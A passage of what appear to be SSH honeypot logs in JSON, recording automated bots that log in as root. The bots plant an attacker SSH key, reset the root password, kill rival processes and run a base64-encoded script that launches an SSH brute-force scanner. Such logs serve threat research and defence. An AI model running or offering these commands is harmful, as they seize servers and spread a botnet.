\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T12:51:28.689600+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T12:51:28.690388+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Ruibo2014!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"720af6ad-98e8-4b27-a642-3b871d4b908a","name":"dapper-clever-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"43.165.190.208","src_port":34868,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":558,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:07:11.630448+00:00","ended_at":"2026-08-24T22:07:11.802058+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6826,"events":[{"seq":1,"at":"2026-08-24T22:06:33.094630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:06:33.653966+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:06:38.865122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:06:38.865532+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:06:39.424622+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lEyGOCMQl3og\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:06:39.863101+00:00","kind":"output","latency_ms":438,"data":""},{"seq":7,"at":"2026-08-24T22:06:39.980970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:06:40.538144+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:06:40.538843+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:06:41.097574+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:06:41.659083+00:00","kind":"output","latency_ms":561,"data":"15888 121 15767 0 0 0"},{"seq":12,"at":"2026-08-24T22:06:42.218798+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:06:42.703643+00:00","kind":"output","latency_ms":484,"data":"-rwxr-xr-x 1 root root 142K Aug 10 14:22 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:06:43.262922+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:06:43.263410+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:06:43.822385+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:06:43.822738+00:00","kind":"output","latency_ms":null,"data":" 22:06:43 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:06:44.380732+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:06:44.381285+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:06:44.937395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:06:44.938235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:06:45.498999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:06:45.499686+00:00","kind":"output","latency_ms":null,"data":"top - 22:06:45 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:06:46.058822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:06:46.059519+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:06:46.619262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:06:46.619932+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:06:47.177950+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:06:47.178483+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:06:47.737082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:06:51.075713+00:00","kind":"output","latency_ms":3334,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T22:06:51.631772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:06:53.162304+00:00","kind":"output","latency_ms":1529,"data":"24G"},{"seq":34,"at":"2026-08-24T22:06:55.002402+00:00","kind":"input","latency_ms":null,"data":"echo \"root root14\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:06:55.560739+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:06:56.026680+00:00","kind":"output","latency_ms":463,"data":""},{"seq":37,"at":"2026-08-24T22:06:57.543054+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:06:58.599050+00:00","kind":"output","latency_ms":1056,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:06:59.158253+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:06:59.689379+00:00","kind":"output","latency_ms":527,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:07:00.253683+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:07:00.806962+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:07:01.254293+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:07:01.814958+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:07:02.262063+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:07:02.823130+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:07:11.631549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:07:11.632015+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"root14","method":"password","accepted":true,"tier":"other"}]} {"id":"33711d99-bb98-4dec-8455-b964f5c6c109","name":"ashen-languid-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"43.153.205.159","src_port":39638,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":782,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:04:42.105280+00:00","ended_at":"2026-08-24T22:04:42.350865+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3989,"events":[{"seq":1,"at":"2026-08-24T22:03:59.398350+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:04:00.168551+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:04:05.990615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:04:05.992293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:04:06.764279+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YjuvlKAMVRz5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:04:07.524628+00:00","kind":"output","latency_ms":762,"data":""},{"seq":7,"at":"2026-08-24T22:04:07.532902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:04:08.308949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:04:08.309526+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:04:09.090761+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:04:09.671171+00:00","kind":"output","latency_ms":577,"data":"15888 4120 9768 128 1784 8336"},{"seq":12,"at":"2026-08-24T22:04:10.446856+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:04:11.393166+00:00","kind":"output","latency_ms":946,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:04:12.183198+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:04:12.183643+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:04:12.969795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:04:12.970276+00:00","kind":"output","latency_ms":null,"data":" 22:04:12 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:04:13.745164+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:04:13.745914+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:04:14.536788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:04:14.537242+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:04:15.316209+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:04:15.316804+00:00","kind":"output","latency_ms":null,"data":"top - 22:04:15 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:04:16.100091+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:04:16.100539+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:04:16.876117+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:04:16.876995+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:04:17.677838+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:04:17.678313+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:04:18.467487+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:04:19.682962+00:00","kind":"output","latency_ms":1215,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T22:04:20.459083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:04:21.185937+00:00","kind":"output","latency_ms":725,"data":"25G"},{"seq":34,"at":"2026-08-24T22:04:23.625241+00:00","kind":"input","latency_ms":null,"data":"echo \"root SiChuanLT\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:04:24.395827+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:04:24.899133+00:00","kind":"output","latency_ms":501,"data":""},{"seq":37,"at":"2026-08-24T22:04:27.163439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:04:27.871711+00:00","kind":"output","latency_ms":708,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:04:28.652875+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:04:29.140782+00:00","kind":"output","latency_ms":485,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:04:29.923158+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:04:30.707623+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:04:31.208075+00:00","kind":"output","latency_ms":499,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:04:31.991087+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:04:32.459311+00:00","kind":"output","latency_ms":467,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:04:33.241779+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:04:42.106487+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:04:42.106882+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"SiChuanLT","method":"password","accepted":true,"tier":"other"}]} {"id":"f6f3ca3f-8bb8-4346-9617-014935b9dd74","name":"burly-patient-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"141.95.54.130","src_port":59206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":308,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T21:25:17.339639+00:00","ended_at":"2026-08-24T21:25:17.428604+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4003,"events":[{"seq":1,"at":"2026-08-24T21:24:48.750630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T21:24:49.057820+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T21:24:54.310637+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T21:24:54.311139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T21:24:54.622675+00:00","kind":"input","latency_ms":null,"data":"echo \"root:NVTAebNvwU7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T21:24:54.935887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T21:24:55.247870+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T21:24:55.248566+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T21:24:55.286559+00:00","kind":"output","latency_ms":663,"data":""},{"seq":10,"at":"2026-08-24T21:24:55.557589+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T21:24:56.245810+00:00","kind":"output","latency_ms":687,"data":"15888 4231 11657 0 0 0"},{"seq":12,"at":"2026-08-24T21:24:56.554704+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T21:24:57.505920+00:00","kind":"output","latency_ms":950,"data":"-rwxr-xr-x 1 root root 148K Jan 18 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T21:24:57.814770+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T21:24:57.815225+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T21:24:58.123566+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T21:24:58.123998+00:00","kind":"output","latency_ms":null,"data":" 21:24:58 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T21:24:58.431623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T21:24:58.432308+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T21:24:58.742534+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T21:24:58.743199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T21:24:59.053345+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T21:24:59.053733+00:00","kind":"output","latency_ms":null,"data":"top - 21:24:59 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 